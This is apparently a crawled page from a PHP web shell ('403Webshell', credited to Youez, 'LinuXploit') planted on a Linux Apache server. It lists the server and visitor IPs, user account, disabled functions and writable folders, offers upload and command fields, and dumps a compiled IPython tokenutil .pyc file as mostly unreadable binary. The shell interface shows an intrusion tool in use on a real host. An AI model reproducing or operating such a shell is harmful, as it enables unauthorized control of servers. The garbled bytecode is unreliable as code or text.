403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/utils/__pycache__/tokenutil.cpython-311.pyc
�

�@�cX��h�dZddlmZddlmZddlmZddlZedgd���Zd�Z	dd	�Z
dd
�ZdS)zToken-related utilities�)�
namedtuple)�StringIO)�	iskeywordN�Token)�token�text�start�end�linec#�nK�	tj|��D]}|V��dS#tj$rYdSwxYw)z(wrap generate_tokens to catch EOF errorsN)�tokenize�generate_tokens�
TokenError)�readliners  �9/usr/lib/python3/dist-packages/IPython/utils/tokenutil.pyrrs_������-�h�7�7�	�	�E��K�K�K�K�	�	�������������s�!�4�4c��d}|�d��}|D]8}|t|��z}|�d��s|dz
}||krn|}�9d}||fS)a�Return the line in a cell at a given cursor position

    Used for calling line-based APIs that don't support multi-line input, yet.

    Parameters
    ----------
    cell : str
        multiline block of text
    cursor_pos : integer
        the cursor position

    Returns
    -------
    (line, offset): (string, integer)
        The line with the current cursor, and the character offset of the start of the line.
    rT�
��)�
splitlines�len�endswith)�cell�
cursor_pos�offset�linesr�next_offsets      r�line_at_cursorrs��"�F��O�O�D�!�!�E������s�4�y�y�(���}�}�T�"�"�	�
�1��K���#�#��E�������&�>��c�&�g}g}g}ddi}tt|��j��D�]�}t|�}|j\}}	|j\}
}|
dz|vrU|j�d��}t||dz��D]'\}
}|
|vr||
dz
t|��z||
<�(||}|	dkr|dzn|}||	z|kr�n4|j
tjkrut|j��sa|rD|rB|dj
tjkr'|djdkr|d�d|j��|d<n�|�|j��n�|j
tjkrm|jdkr|r|�d��|jdkr|r|�|d��n"|jdkr|r|�d��|�|��||
|z|krn���|r|dS|r|dSd	S)
azGet the token at a given cursor

    Used for introspection.

    Function calls are prioritized, so the token for the callable will be returned
    if the cursor is anywhere inside the call.

    Parameters
    ----------
    cell : unicode
        A block of Python code
    cursor_pos : int
        The location of the cursor in the block where the token should be found
    rrT����.�=�(�)r)rrrrr	r
rr�	enumeraterrr
�NAMErr�OP�append�pop)rr�names�tokens�
call_names�offsets�tup�tok�
start_line�	start_col�end_line�end_colr�linenorr�boundarys                 r�token_at_cursorr79s]��
�E�
�F��J��!�f�G��x��~�~�6�7�7�)�)���S�k��!$�	��
�I��G���'��a�<�w�&�&��H�'�'��-�-�E� )�%��a�� @� @�
D�
D������(�(�&-�f�Q�h�&7�#�d�)�)�&C�G�F�O����$��%.�!�^�^�:��>�>����I���)�)�
�E��9��
�%�%�i���.A�.A�%��
'��
'�F�2�J�$4���$C�$C��r�
��[^�H^�H^�',�R�y�y�y�#�(�(�;��b�	�	����S�X�&�&�&�&�
�Y�(�+�
%�
%��x�3���5���	�	�"�
�
�
��x�3���5���!�!�%��)�,�,�,�,���S���Z�����r�"�"�"��
�
�c�����8��w�&��3�3��E�4����"�~��	���R�y���rr)r)�__doc__�collectionsr�ior�keywordrr
rrrr7�rr�<module>r=s�����
#�"�"�"�"�"�����������������	�
�7�E�E�E�F�F���������BD�D�D�D�D�Dr

Youez - 2016 - github.com/yon3zu
LinuXploit